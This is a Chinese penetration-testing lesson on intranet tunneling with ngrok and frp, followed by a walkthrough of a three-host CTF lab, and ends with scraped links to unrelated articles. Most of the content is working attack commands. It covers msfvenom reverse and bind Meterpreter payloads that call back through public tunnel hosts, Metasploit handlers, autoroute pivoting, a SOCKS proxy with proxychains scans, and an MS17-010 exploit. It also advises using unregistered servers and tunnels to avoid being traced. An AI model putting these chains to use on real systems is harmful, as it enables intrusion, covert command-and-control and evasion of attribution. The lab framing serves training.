70 内网安全-域横向内网漫游Socks代理隧道技术

目录

    • 必要基础知识点:
      • 1.内外网简单知识
      • 2.内网1和内网2通信问题
      • 3.正向反向协议通信连接问题
      • 4.内网穿透代理隧道技术说明
    • 演示案例:
      • 内网穿透Ngrok测试演示-两个内网通讯上线
      • 内网穿透Frp自建跳板测试-两个内网通讯上线
      • CFS三层内网漫游安全测试演练-某CTF线下2019
    • 涉及资源:

在这里插入图片描述
主要说的是socks代理技术,属于内网的穿透技术,代理主要是解决内网通信的问题,代理也能解决防火墙的拦截,但隧道主要是安全设备、流量监控等设备上的拦截问题,因为当我们去做渗透测试的时候,需要回传数据,或者回传敏感的东西,你走的协议不一样的话,在这个TCP/IP有七层协议,像TCMP、SSH、HTTP的协议,有些协议它会受到防火墙、过滤设备的流量检测工具、检测设备平台的干扰,所以在内网经常会出现流量传输数据会回显数据、拖数据的时候会出现拦截和一些报警,隧道技术主要是解决这类问题的

对方在内网,我也在内网,这个时候两个内网要能实现通讯的话,就必须要借助代理才能实现
eathworm已经停止更新
在这里插入图片描述

必要基础知识点:

1.内外网简单知识

2.内网1和内网2通信问题

1这个主机在内网1里面,2主机在内网2里面,比如我在我的学校宿舍里面上网,你在网吧上网,那我们两个就都属于内网,但是我们不是一个内网里面,就是你是你学校内网,我是网吧的内网,这两个网络如果要实现通讯的话,比如说我现在有个后门CS,我生成一个后门,然后发给你,这个时候你能让对方上线到这里来,这个是上不了线的,因为你们都是内网,除非这个时候采用代理技术
两个内网再实现通讯,能够实现控制或者数据回连的时候,那基本上是不可能的,就是说你想用CS控制内网主机,你CS也在内网,它的受害主机在另一个内网,不在同一个内网,那么上线是不可能的,因为无法控制它,只会有数据的传递,因为你们都连接互联网,你们可以通过互联网去连接数据,但是这个数据它无法准确的找到你

3.正向反向协议通信连接问题

控制端去连接被控端,这种情况就是正向
被控端去连接控制端,这种就是反向
你的控制端如果是服务器,外网的一台主机,就相当于你在外网有个唯一的IP地址,通过这个IP地址能够找到你,然后对方被控的肉鸡,是一个内网,如果你主动去找被控的内网主机的话,你是找不到的,因为它会有两个IP地址,一个是外网IP,一个是内网IP,你连接外网IP,就相当于你找到一个接口,就好比我们通过路由器上网一样,它就找到路由器那里,那还怎么找到你的主机呢,因为路由器下面还会有很多主机,所以它写这个IP地址,它只会找到路由器那里
连接内网IP地址,因为这个IP地址,内网都可以用到,每个内网里面都会有这个IP地址,就找不到,因为不是唯一的,所以我们主动去连接内网主机连接不上;反过来是反向的话,让被控制端主动过来找你就可以

4.内网穿透代理隧道技术说明

演示案例:

内网穿透Ngrok测试演示-两个内网通讯上线

1.注册-购买-填写-确认http://www.ngrok.cc/
协议: http 本地端口:192.168.76.132:4444
2.测试: 内网1执行后门-免费主机处理-内网2监听-内网2接受器

./sunny clientid aa0676878c162ffc
msfvenom -p windows/meterpreter/reverse_http lhost=xiaodisec.free.idcfengye.com lport=80 -f exe -o test.exe
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 192.168.76.132
set lport 4444
exploit

在这里插入图片描述
理论上不涉及到代理是控制不了的,因为你两者都是内网,你生成后门的时候,你如果写你外网木马地址的话,那么被控制端去连接的时候,找的是你的路由器,你写你内网地址更加找不到,所以它就不可能去实现控制,这个时候就要借助我们的Ngrok工具来实现这个连通
Ngrok会在外网提供一台服务器给你,就相当于这个肉鸡去找你的时候,先找你的服务器,服务器在传输给你,同样的,我们去找被控制端也是要去找这台服务器,这台服务器,我和被控制端都能访问的到
服务器会在控制端这里有个客户端,就相当于接收服务器给的数据,所以你出去这个客户端给服务器,回来也是经过客户端在给到你,所以这个数据的连通就是正常的,ngrok就相当于一个中介
ngrok下载地址:https://www.ngrok.cc/
在这里插入图片描述
在这里插入图片描述
免费的经常会出现掉线,用的时候看你自己需要吧
你用那种协议,等下木马生成就要走什么协议
在这里插入图片描述
在这里插入图片描述
我用MSF生成一个后门,然后再用一台电脑,执行这个后门,让两个内网实现连接
运行客户端,它就会寻找到我们的外网上去
在这里插入图片描述
在这里插入图片描述
确保是online状态就可以了,如果不是这个状态说明你这个隧道有问题,可能是我们的网络有问题,要换收费的
端口要跟我们的木马保持一致
msf配置后门的监听状态,设置payload就很我们生成后门的payload木马保持一致
在这里插入图片描述
我们把后门执行一下,可以看到接收到会话了,接收到的数据一直在变动
在这里插入图片描述
kali是控制端,它在它本地运行ngrok,专门监听ngrok的服务器给到它的实时端口,然后木马配置的就是建立这个监听的木马,所以木马就会找ngrok的服务器,所以ngrok的服务器就监听到了,数据就会给到本地4444,所以我监听4444端口,就会成功监听到木马的回连,其实就是相当于中间多了个服务器,就为他们的传输数据做铺垫,因为他们两个内网,如果单独去找对方,那都找不到,因为都是内网,所以只能借助外网主机,来帮助做这个事情,就是对方要给数据的时候,就到外网,外网就给到下面
在这里插入图片描述
如果大家有什么商用、比较重要的一些,建议还是要使用收费的,免费的,速度各方面,有点小问题,如果你在传输数据,突然断一下很尴尬的,如果不支持断点续传的话,可能又要重新下载了

买的服务器也不是自己的服务器,就是别人帮你提前部署好的,那么对于你在测试的时候,有些隐私或者小秘密怕别人知道,毕竟你用的是别人的服务器,工具本人可以上去偷偷看一下,想要一点秘密的话,可以使用frp,但是使用ngrok可以避免被溯源到,在红蓝对抗中,这也是一个优点

内网穿透Frp自建跳板测试-两个内网通讯上线

自行搭建,方便修改,成本低,使用多样化,适合高富帅及隐私哥哥们
1.服务端-下载-解压-修改-启动 (阿云主机记得修改安全组配置出入口)
服务器修改配置文件frps.ini:
[common]
bind_port = 6677
启动服务端
./frps -c ./frps.ini
2.控制端-下载-解压-修改-启动
控制端修改配置文件frpc.ini:

[common]
server_addr = 你的云主机ip
server_port = 6677           #frpc工作端口,必须和上面frps保持一致
[msf]
type= tcp
local_ip =127.0.0.1
local_port = 5555                 #转发给本机的5555
remote_port = 6000             #服务端用6000端口转发给本机

启动客户端:

./frpc -c ./frpc.ini
msfvenom -p windows/meterpreter/reverse_tcp lhost=你的公网ip lport=6000 -f exe -o frp.exe
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 5555
exploit

3.靶机运行frp即可

有条件尽量搞个黑服务器,就是不用实名,不用填一下乱七八糟的的东西,可能价格会高一点,那种服务器不受限制,就不会存在流量各方面受控、端口上面运行一些监控

frp工具相对于ngrok工具会相对更加灵活,你自己搭建的,走的地址由你自己指定,它就能解决两个内网的问题。比如,我在自己家里面,你在学校里面,我想控制你都可以,只需要建立跳板,frp、ngrok类似工具,我直接穿透你,我们以前控制都还需要在外网上面搞个后门工具,偷偷在上面控制,控制端连接外网,在上面操作的话,也在外网操作
这个时候有frp之后,内网的工具也能实现
有时候外网上面工具也不齐全,像你自己电脑很多东西都不是齐全的,这样子传输的时候,也能帮你穿透内网,更方便,你在外网的主机上面去操作的话,很麻烦的
这个技术可以利用到多项操作里面,像扶一下梯子,各种各样都可以

CFS三层内网漫游安全测试演练-某CTF线下2019

来源2019某CTF线下赛真题内网结合WEB攻防题库,涉及WEB攻击,内网代理路由等技术,每台服务器存在一个Flag,获取每一个ELag对应一个积分,获取三个Flag结尾。
Target1:
探针目标-利用WEB漏洞(TP5 RCE)-获取webshell权限-获取FLag-Target2
1.生成后门:

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.76.132 LPORT=1111 -f elf >t1.elf

2.接受反弹

use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp 
set LHOST 192.168.76.132
set LPORT 1111
exploit

3.信息收集及配置访问

获取网络接口: run get_local_subnets
查看路由地址:  run autoroute -p
添加路由地址:  run autoroute -s 192.168.22.0/24
开启本地代理:
use auxiliary/server/socks4a
set srvport 2222
exploit

4.利用本地代理接口访问测试
设置浏览器代理进行访问测试
linux:
配置proxychains后调用工具探针Target2

/etc/proxychains.conf
socks4 192.168.76.132 2222
proxychains4 nmap -sT -Pn 192.168.22.0/24 -p80

-Pn: 扫描主机检测其是否受到数据包过滤软件或防火墙的保护。
-sT: 扫描TCP数据包已建立的连接connect
windows:
利用代理工具Proxifier或SocksCap64载入代理进行进程访问测试

Target2:
探针目标-利用WEB漏洞(SQL注入)-后台获取webshell权限-获取FLag-Target3
http://192.168.22.128/index.php?r=vul&keyword=1 #sql注入
http://192.168.22.128/index.php?r=admini/public/login #后台
http://192.168.22.128/index.php?r=special #后门shell
1.生成正向后门:

msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=3333 -f elf > t2.elf

2.访问接受

use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set rhost 192.168.22.128
set LPORT 3333
exploit

3.信息收集及配置访问
获取网络接口: run get_local_subnets
查看路由地址: run autoroute -p
添加路由地址: run autoroute -s 192.168.33.0/24

Target3:
探针目标-端口及漏洞扫描-利用MS17010获取系统权限-获取Flag-GG

proxychains4 nmap -Pn -sT 192.168.33.33
use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/bind_tcp
set RHOST 192.168.33.33
exploit
shell
dir /S flag.txt /B
type xxxxx.txt

在这里插入图片描述
我现在有个76网段,然后我攻击目标1的76.148,因为这个接口我能访问,然后我攻击到它之后
目标3没有网络,所以你正向也不行,反向也不行,正向连接它,你没有它的网段连接不了,它主动过来找你,也不行,因为它没有网络,所以我们只能一步步渗透,渗透到目标1这个服务器了,通过它的网卡22.129去攻击目标2,之后目标2这里是不是有33网卡,这个时候,我们借目标2去攻击目标3

TP5之前报过漏洞,我们直接用EXP去搞它

在这里插入图片描述
因为能执行命令,我们就可以直接写webshell到后门网站的路径下面去,看一下当前路径在那里
在这里插入图片描述
查看下面目录的内容
在这里插入图片描述
写入后门2.php
在这里插入图片描述
利用后门工具去连接
在这里插入图片描述
这个时候,我们要把它当作跳板,我们可以借助CS、MSF进行操作,因为CS上线之后,即使权限不够,也可以执行一些文件来加载代码
CS和MSF的会话是可以交接的,不用去纠结是用cs还是msf
在这里插入图片描述
把.elf文件传上去,执行文件
在这里插入图片描述
在这里插入图片描述
我们前期会进行一个信息收集,收集来的信息,其中就有一个叫网络接口信息
在这里插入图片描述

76网卡就是跟我们这台主机建立连接的,22网卡就是连接内网的另一台主机,但是我现在访问不了22网卡,因为我这个kali是76网卡
添加个路由
在这里插入图片描述
查看路由地址
在这里插入图片描述
我们刚才反弹的会话就是session1,就是说在session1上面多了个路由,表示说我上面有22网卡,添加了一个网络接口,那么我就可以对22网卡进行通讯了,由于是建立到session1的,因为这个session1是通过目标1执行后门后,反弹给我的,所以session1原则上是建立在target1上面,所以我增加路由能成功的原因在这里,添加完之后,说明我跟22这个网卡是能够通讯的
但是这个路由有个问题,只能通过msf进行通讯,这个路由是写到msf上面,有些工具你没有路由规则,那么它对22就无法访问,它只能在msf会话上面进行操作,所以这个时候会在本地开个代理,相当于给其它人一个接口,
我们访问目标2,只受限于会话上面,只在msf上面进行操作,但msf上面要进行攻击,虽然它上面有很多命令能够进行探针,但是他不能攻击,我们肯定是要进行常见攻击,用浏览器打开、用端口扫描,看的着,摸得着的东西去攻击,那样子才能得心应手
这个时候由于我们在上面无法用这些东西进行操作,上面没有这些东西,没有这些功能,所以这个时候,我们就开一个接口,就相当于在目标1或kali上面开个接口,然后让外部人去连接这个接口,因为目前这个kali已经能够访问到目标2了,因为kali上面已经有路由了,所以我可以在上面开个接口,我可以通过本机访问kali2222端口,就相当于我本机就能连到目标2这里
在这里插入图片描述
利用本地代理接口进行端口探针,有时候防火墙会影响到探针的结果
在这里插入图片描述
我们使用浏览器访问目标网址,我们要建立代理,走这个代理,相当于享有这个路由和工具调用端口是一个道理
在这里插入图片描述
在这里插入图片描述
利用sql注入拿到账号密码,对目录进行扫描获取后台登录网址,进行登入,进入后台,获取flag
在这里插入图片描述
这个是后台,后台不可能做代理,就是说我还是需要拿webshell,拿webshell后面才能做代理,做路由,可以通过后台的功能来拿webshell,后台功能里面有模板,模板可以修改代码,直接找到对应文件,写个后门到里面去
在这里插入图片描述
在这里插入图片描述
打开后门连接工具,进行连接,先进行代理设置,让工具走socks4协议,连接kali的2222端口
在这里插入图片描述
在这里插入图片描述
proxifier是全局代理工具,你配置好代理之后,相关的应用程序,就会走这个协议
在这里插入图片描述
有些程序支持上面配置代理,有些不支持,就会有这样的一个差距,不支持你就用sockscap64工具加载
在这里插入图片描述
我们现在是要让目标2主机上线,上线到kali来,生成后门的时候,我们不是要写IP地址,因为在目标2上面没有76网段,使用目标2访问不到76网段,就只能正向连接,我们去连接目标2,我们的控制端是在76网段这里,我们现在取到了目标1的权限,他有22网段,而且我添加了路由,我能找到目标2,目标2没有我的路由,他找不到我,所以我只能正向连接

我生成一个后门绑定3333端口,然后我再用我的kali主动连接目标2,其实就是让我这台主机主动去找目标2
在这里插入图片描述
然后我在把木马上传到webshell上执行

开启监听状态
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
看一下目标2的网络环境
查看当前路由
添加路由
在这里插入图片描述
那会话上面就有这个路由了
在这里插入图片描述
接下来的操作就跟目标1一样了,在开一个端口走协议socks4连接33,对端口3333进行攻击,因为他是windows主机,我们可以使用nmap --script=all进行扫描,也可以使用nessus扫描,在真实渗透测试过程中,我们肯定是要对他进行一些扫描过程
利用扫描到的主机漏洞,进行攻击
在这里插入图片描述

涉及资源:

http://www.ngrok.cc/
https://gofrp.org/docs/
https://github.com/fatedier/frp/releases
https://pan.baidu.com/s/1Vh4ELTFvyBhv3Avzft1fCw 提取码: xiao

cs图形化会比msf好看点,但是命令会比msf少一些,功能少一点,所以我们用msf,如果你熟悉cs的话,可以用msf把会话反弹到CS上,就是委派到CS上面去

对方能够连接你就用reverse,不能就用bind
搭建好隧道之后,用CS来监听也可以

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/164853.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

数据结构:Map和Set(2):相关OJ题目

目录 136. 只出现一次的数字 - 力扣(LeetCode) 771. 宝石与石头 - 力扣(LeetCode) 旧键盘 (20)__牛客网 (nowcoder.com) 138. 随机链表的复制 - 力扣(LeetCode) 692. 前K个高频单词 - 力扣&#xff08…

sd-wan专线异地组网|分支机构与总部间外贸MES系统高速访问解决方案

随着全球化的快速发展,国际市场对于企业的重要性日益增加,很多外贸企业都会选择在海外建立工厂,以求更好的发展国际市场,但是,海外建立工厂必然会在当地招聘新的公司人员,如何做好异地管理和监控海外工厂的…

Redis注解式开发结合SSM项目使用与Quartz框架介绍以及击穿、穿透、雪崩问题解决

目录 一、SSM项目整合Redis 1.1 导入pom依赖 1.2 spring-redis.xml 1.3 spring上下文配置 二、Redis注解式开发 2.1 Cacheable 注解 2.2 自定义策略 2.3 CachePut 注解 三、Redis中缓冲、击穿、穿透、雪崩问题解决 3.1 缓冲问题 —— Quartz 框架 3.2 常见的三种问题…

从vue源码中看diff算法

一、v-for必须要指定key,其作用是什么? 在源码中有一个函数为,其中就是通过判断两个vnode的type和key进行判断,如果这两个属性相同,那么这两个vnode就是相同,所以在设置key的时候也不可以设置为object等无…

Midway.js打通WebSocket前后端监听通道

您好, 如果喜欢我的文章或者想上岸大厂,可以关注公众号「量子前端」,将不定期关注推送前端好文、分享就业资料秘籍,也希望有机会一对一帮助你实现梦想 前言 WebSocket协议允许客户端和服务端持久化连接,这种可以持续…

STM32_project:led_beep

代码: 主要部分: #include "stm32f10x.h" // Device header #include "delay.h"// 给蜂鸣器IO口输出低电平,响,高,不向。 //int main (void) //{ // // 开启时钟 // RC…

接口自动化面试题

1.http请求都包含哪些内容,请求头和请求体有哪些内容 请求行/请求头/请求体/空行 请求行:请求方法字段、URL字段、http协议版本 例如:GET /index.html HTTP/1.1 请求方法:GET、POST、PUT、DELETE、OPTIONS、TRACE、CO…

MySQL InnoDB数据存储结构

1. 数据库的存储结构:页 索引结构给我们提供了高效的索引方式,不过索引信息以及数据记录都是保存在文件上的,确切说是存储在页结构中。另一方面,索引是在存储引擎中实现的,MySQL服务器上的存储引擎负责对表中数据的读…

Java基础-015-System.java常用类

Java基础-015-System.java常用类 1、标准输入输出2、获取属性3、System.java初始化4、设置标准输出System.out java/lang/System.java 1、标准输入输出 System.in、System.out public class Test {public static void main(String[] args) {String charsetName String.valueOf…

wpf添加Halcon的窗口控件报错:下列控件已成功添加到工具箱中,但未在活动设计器中启用

报错截图如下: 注意一下新建工程的时候选择wpf应用而不是wpf应用程序。 添加成功的控件:

C++常用格式化输出转换

在C语言中可以用printf以一定的格式打印字符,C当然也可以。 输入输出及命名空间还不太了解的小伙伴可以看一看C入门讲解第一篇。  在C中,可以用流操作符(stream manipulators)控制数据的输出格式,这些流操作符定义在2…

大语言模型(LLM)综述(七):大语言模型设计应用与未来方向

A Survey of Large Language Models 前言8 A PRACTICAL GUIDEBOOK OF PROMPT DESIGN8.1 提示创建8.2 结果与分析 9 APPLICATIONS10 CONCLUSION AND FUTURE DIRECTIONS 前言 随着人工智能和机器学习领域的迅速发展,语言模型已经从简单的词袋模型(Bag-of-…